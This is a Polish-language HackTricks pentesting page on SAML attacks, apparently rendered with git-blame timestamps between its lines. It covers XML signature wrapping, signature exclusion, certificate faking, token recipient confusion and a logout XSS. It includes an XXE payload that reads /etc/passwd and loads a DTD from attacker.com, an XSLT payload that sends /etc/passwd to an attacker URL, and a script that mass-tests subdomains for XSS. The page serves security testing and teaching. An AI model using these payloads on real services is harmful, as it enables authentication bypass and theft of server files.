hacktricks/pentesting-web/saml-attacks/README.md

313 lines
19 KiB
Markdown
Raw Normal View History

2024-02-11 01:46:25 +00:00
# Ataki SAML
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
## Ataki SAML
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-01 17:15:10 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-11 01:46:25 +00:00
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
## Podstawowe informacje
{% content-ref url="saml-basics.md" %}
[saml-basics.md](saml-basics.md)
{% endcontent-ref %}
2024-02-11 01:46:25 +00:00
## Narzędzie
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Narzędzie, które może przyjąć adres URL lub listę adresów URL i zwraca adres URL do konsumpcji SAML.
## Obieg XML
W XML część podpisana XML jest zapisywana w pamięci, następnie wykonywane jest kodowanie/dekodowanie, a podpis jest sprawdzany. Idealnie to kodowanie/dekodowanie nie powinno zmieniać danych, ale w oparciu o ten scenariusz, **sprawdzane dane i oryginalne dane mogą nie być takie same**.
2024-02-11 01:46:25 +00:00
Na przykład, sprawdź poniższy kod:
```ruby
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
2024-02-11 01:46:25 +00:00
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Uruchomienie programu przeciwko REXML 3.2.4 lub wcześniejszej wersji spowoduje zamiast tego następujący wynik:
```
First child in original doc: Y
First child after round-trip: Z
```
Oto, jak REXML widział oryginalny dokument XML z programu powyżej:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (998).png>)
A oto, jak widział go po rundzie analizy i serializacji:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (442).png>)
Aby uzyskać więcej informacji na temat podatności i jak ją wykorzystać:
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## Ataki na Podpisy XML
W **atakach na Podpisy XML (XSW)** przeciwnicy wykorzystują podatność wynikającą z przetwarzania dokumentów XML w dwóch różnych fazach: **walidacji podpisu** i **wywołania funkcji**. Te ataki polegają na zmianie struktury dokumentu XML. Konkretnie, atakujący **wstrzykuje sfałszowane elementy**, które nie kompromitują ważności Podpisu XML. Manipulacja ta ma na celu stworzenie rozbieżności między elementami analizowanymi przez **logikę aplikacji** a tymi sprawdzanymi przez **moduł weryfikacji podpisu**. W rezultacie, podczas gdy Podpis XML pozostaje technicznie ważny i przechodzi weryfikację, logika aplikacji przetwarza **fałszywe elementy**. W rezultacie atakujący skutecznie omija **ochronę integralności** i **uwierzytelnianie pochodzenia** Podpisu XML, umożliwiając **wstrzyknięcie arbitralnej zawartości** bez wykrycia.
Poniższe ataki opierają się na [**tym wpisie na blogu**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **i** [**tej publikacji**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Więc sprawdź je dla dalszych szczegółów.
2022-05-01 13:25:53 +00:00
### XSW #1
* **Strategia**: Dodanie nowego elementu głównego zawierającego podpis.
* **Konsekwencje**: Walidator może się pogubić między prawidłowym "Odpowiedź -> Twierdzenie -> Podmiot" a "złowrogią nową Odpowiedzią -> Twierdzeniem -> Podmiotem" atakującego, prowadząc do problemów z integralnością danych.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../.gitbook/assets/image (503).png>)
2022-05-01 13:25:53 +00:00
### XSW #2
* **Różnica w porównaniu do XSW #1**: Wykorzystuje odłączony podpis zamiast otaczającego podpisu.
* **Konsekwencje**: "Złowroga" struktura, podobnie jak w XSW #1, ma na celu wprowadzenie w błąd logikę biznesową po sprawdzeniu integralności.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../.gitbook/assets/image (462).png>)
2022-05-01 13:25:53 +00:00
### XSW #3
* **Strategia**: Tworzony jest złowrogi Twierdzenie na tym samym poziomie hierarchicznym co oryginalne twierdzenie.
* **Konsekwencje**: Ma na celu wprowadzenie w błąd logikę biznesową, aby używała złośliwych danych.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../.gitbook/assets/image (117).png>)
2022-05-01 13:25:53 +00:00
### XSW #4
* **Różnica w porównaniu do XSW #3**: Oryginalne Twierdzenie staje się dzieckiem zduplikowanego (złowrogiego) Twierdzenia.
* **Konsekwencje**: Podobnie jak w XSW #3, ale bardziej agresywnie zmienia strukturę XML.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../.gitbook/assets/image (548).png>)
2022-05-01 13:25:53 +00:00
### XSW #5
* **Unikalny Aspekt**: Ani Podpis, ani oryginalne Twierdzenie nie przestrzegają standardowych konfiguracji (otaczający/otaczający/odłączony).
* **Konsekwencje**: Skopiowane Twierdzenie otacza Podpis, modyfikując oczekiwaną strukturę dokumentu.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (1027).png>)
2022-05-01 13:25:53 +00:00
### XSW #6
* **Strategia**: Podobne umieszczenie wstawienia jak w XSW #4 i #5, ale z twistem.
* **Konsekwencje**: Skopiowane Twierdzenie otacza Podpis, który następnie otacza oryginalne Twierdzenie, tworząc zagnieżdżoną fałszywą strukturę.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../.gitbook/assets/image (166).png>)
2022-05-01 13:25:53 +00:00
### XSW #7
* **Strategia**: Wstawienie elementu Rozszerzenia z zduplikowanym Twierdzeniem jako dzieckiem.
* **Konsekwencje**: Wykorzystuje mniej restrykcyjny schemat elementu Rozszerzenia do obejścia środków zaradczych walidacji schematu, zwłaszcza w bibliotekach takich jak OpenSAML.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (968).png>)
2022-05-01 13:25:53 +00:00
### XSW #8
* **Różnica w porównaniu do XSW #7**: Wykorzystuje inny mniej restrykcyjny element XML dla wariantu ataku.
* **Konsekwencje**: Oryginalne Twierdzenie staje się dzieckiem mniej restrykcyjnego elementu, odwracając strukturę używaną w XSW #7.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../.gitbook/assets/image (538).png>)
2024-02-11 01:46:25 +00:00
### Narzędzie
2024-02-11 01:46:25 +00:00
Możesz użyć rozszerzenia Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e), aby przeanalizować żądanie, zastosować wybrany atak XSW i go uruchomić.
2022-05-01 13:25:53 +00:00
## XXE
2024-02-11 01:46:25 +00:00
Jeśli nie wiesz, jakie są ataki XXE, przeczytaj następującą stronę:
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}
Odpowiedzi SAML są **skompresowanymi i zakodowanymi w base64 dokumentami XML** i mogą być podatne na ataki zewnętrznych jednostek XML (XXE). Poprzez manipulowanie strukturą XML odpowiedzi SAML, atakujący mogą próbować wykorzystać podatności XXE. Oto, jak taki atak może być zobrazowany:
2024-02-06 14:12:47 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
2024-02-11 01:46:25 +00:00
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
2024-02-11 01:46:25 +00:00
## Narzędzia
Możesz również użyć rozszerzenia Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) do generowania POC z żądania SAML w celu przetestowania potencjalnych podatności na XXE oraz podatności SAML.
Sprawdź także tę prezentację: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
2023-02-16 12:43:10 +00:00
2024-02-11 01:46:25 +00:00
## XSLT poprzez SAML
2024-02-11 01:46:25 +00:00
Aby uzyskać więcej informacji na temat XSLT, przejdź do:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
Rozszerzalny Język Transformacji Arkuszy Stylów (XSLT) może być używany do przekształcania dokumentów XML na różne formaty, takie jak HTML, JSON lub PDF. Ważne jest zauważenie, że **transformacje XSLT są wykonywane przed weryfikacją cyfrowego podpisu**. Oznacza to, że atak może być udany nawet bez ważnego podpisu; podpis własny lub nieprawidłowy jest wystarczający do kontynuacji.
Tutaj znajdziesz **POC** do sprawdzenia tego rodzaju podatności, na stronie hacktricks wspomnianej na początku tej sekcji znajdziesz przykładowe ładunki.
2024-02-06 14:12:47 +00:00
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
2024-02-11 01:46:25 +00:00
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
2024-02-11 01:46:25 +00:00
### Narzędzie
Możesz również użyć rozszerzenia Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) do generowania POC z żądania SAML w celu przetestowania potencjalnych podatności XSLT.
Sprawdź także to wystąpienie: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
2023-02-16 12:43:10 +00:00
## Wykluczenie Podpisu XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
**Wykluczenie Podpisu XML** obserwuje zachowanie implementacji SAML, gdy element Podpisu nie jest obecny. Jeśli ten element jest brakujący, **weryfikacja podpisu może nie nastąpić**, co czyni system podatnym. Można to przetestować poprzez zmianę zawartości, która zazwyczaj jest weryfikowana przez podpis.
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (454).png>)
2024-02-11 01:46:25 +00:00
### Narzędzie <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
Możesz również użyć rozszerzenia Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Przechwyć odpowiedź SAML i kliknij `Remove Signatures`. W ten sposób **wszystkie** elementy Podpisu są usuwane.
Po usunięciu podpisów, pozwól na przesłanie żądania do celu. Jeśli Podpis nie jest wymagany przez Usługodawcę
## Fałszowanie Certyfikatu <a href="#certificate-faking" id="certificate-faking"></a>
Fałszowanie Certyfikatu to technika testowania, czy **Usługodawca (SP) prawidłowo weryfikuje, czy Wiadomość SAML jest podpisana** przez zaufanego IdP (Identity Provider). Polega na użyciu \***certyfikatu podpisanego przez siebie** do podpisania Odpowiedzi SAML lub Twierdzenia, co pomaga w ocenie procesu walidacji zaufania między SP a IdP.
### Jak Przeprowadzić Fałszowanie Certyfikatu
Poniższe kroki opisują proces za pomocą rozszerzenia Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
1. Przechwyć odpowiedź SAML.
2. Jeśli odpowiedź zawiera podpis, prześlij certyfikat do SAML Raider Certs, używając przycisku `Send Certificate to SAML Raider Certs`.
3. W karcie Certyfikatów SAML Raider, wybierz zaimportowany certyfikat i kliknij `Save and Self-Sign`, aby utworzyć samopodpisaną kopię oryginalnego certyfikatu.
4. Wróć do przechwyconego żądania w Proxy Burp. Wybierz nowy certyfikat podpisany przez siebie z rozwijanej listy Podpisu XML.
5. Usuń istniejące podpisy za pomocą przycisku `Remove Signatures`.
6. Podpisz wiadomość lub twierdzenie nowym certyfikatem, używając przycisku **`(Re-)Sign Message`** lub **`(Re-)Sign Assertion`**, odpowiednio.
7. Przekaż podpisaną wiadomość. Pomyślna autentykacja wskazuje, że SP akceptuje wiadomości podpisane przez Twój certyfikat podpisany przez siebie, ujawniając potencjalne podatności w procesie walidacji wiadomości SAML.
## Dezorientacja Odbiorcy Tokena / Dezorientacja Celu Usługodawcy <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Dezorientacja Odbiorcy Tokena i Dezorientacja Celu Usługodawcy polegają na sprawdzeniu, czy **Usługodawca poprawnie weryfikuje zamierzonego odbiorcę odpowiedzi**. W zasadzie Usługodawca powinien odrzucić odpowiedź uwierzytelniającą, jeśli była przeznaczona dla innego dostawcy. Istotnym elementem jest tutaj pole **Odbiorca**, znajdujące się w elemencie **SubjectConfirmationData** odpowiedzi SAML. To pole określa adres URL wskazujący, gdzie Twierdzenie musi zostać wysłane. Jeśli rzeczywisty odbiorca nie zgadza się z zamierzonym Usługodawcą, Twierdzenie powinno zostać uznane za nieważne.
2024-02-11 01:46:25 +00:00
#### **Jak to działa**
Aby atak Dezorientacji Odbiorcy Tokena SAML (SAML-TRC) był możliwy, muszą być spełnione pewne warunki. Po pierwsze, musi istnieć ważne konto na Usługodawcy (nazywanym SP-Legit). Po drugie, docelowy Usługodawca (SP-Target) musi akceptować tokeny od tego samego IdP, który obsługuje SP-Legit.
Proces ataku jest prosty w tych warunkach. Autentyczna sesja jest inicjowana z SP-Legit za pośrednictwem wspólnego IdP. Odpowiedź SAML od IdP do SP-Legit jest przechwytywana. Ta przechwycona odpowiedź SAML, pierwotnie przeznaczona dla SP-Legit, jest następnie przekierowywana do SP-Target. Sukces w tym ataku jest mierzony przez akceptację Twierdzenia przez SP-Target, co umożliwia dostęp do zasobów pod tą samą nazwą konta, którą użyto dla SP-Legit.
2024-02-06 14:12:47 +00:00
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
2024-02-11 01:46:25 +00:00
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
2024-02-06 14:12:47 +00:00
```
2024-02-11 01:46:25 +00:00
## XSS w funkcjonalności wylogowywania
2024-02-11 01:46:25 +00:00
Oryginalne badania można znaleźć pod [tym linkiem](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
Podczas procesu brutalnego przeglądania katalogów, odkryto stronę wylogowywania pod adresem:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Po wejściu na ten link nastąpiło przekierowanie do:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
To ujawniło, że parametr `base` akceptuje adres URL. Biorąc to pod uwagę, pojawił się pomysł podmiany adresu URL na `javascript:alert(123);` w celu próby wywołania ataku XSS (Cross-Site Scripting).
2024-02-06 14:12:47 +00:00
### Masowa Eksploatacja
2024-02-11 01:46:25 +00:00
[Z tej publikacji](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
Do analizy subdomen `uberinternal.com` pod kątem domen korzystających z tej samej biblioteki zostało użyte narzędzie [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor). Następnie został opracowany skrypt, który miał na celu atakowanie strony `oidauth/prompt`. Skrypt ten testuje podatność na XSS (Cross-Site Scripting), wprowadzając dane i sprawdzając, czy są one odzwierciedlane w wyniku. W przypadkach, gdy dane są rzeczywiście odzwierciedlane, skrypt oznacza stronę jako podatną.
```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
2024-02-11 01:46:25 +00:00
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
## Odnośniki
2024-02-06 14:12:47 +00:00
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
2024-02-06 14:12:47 +00:00
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-01 17:15:10 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-11 01:46:25 +00:00
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>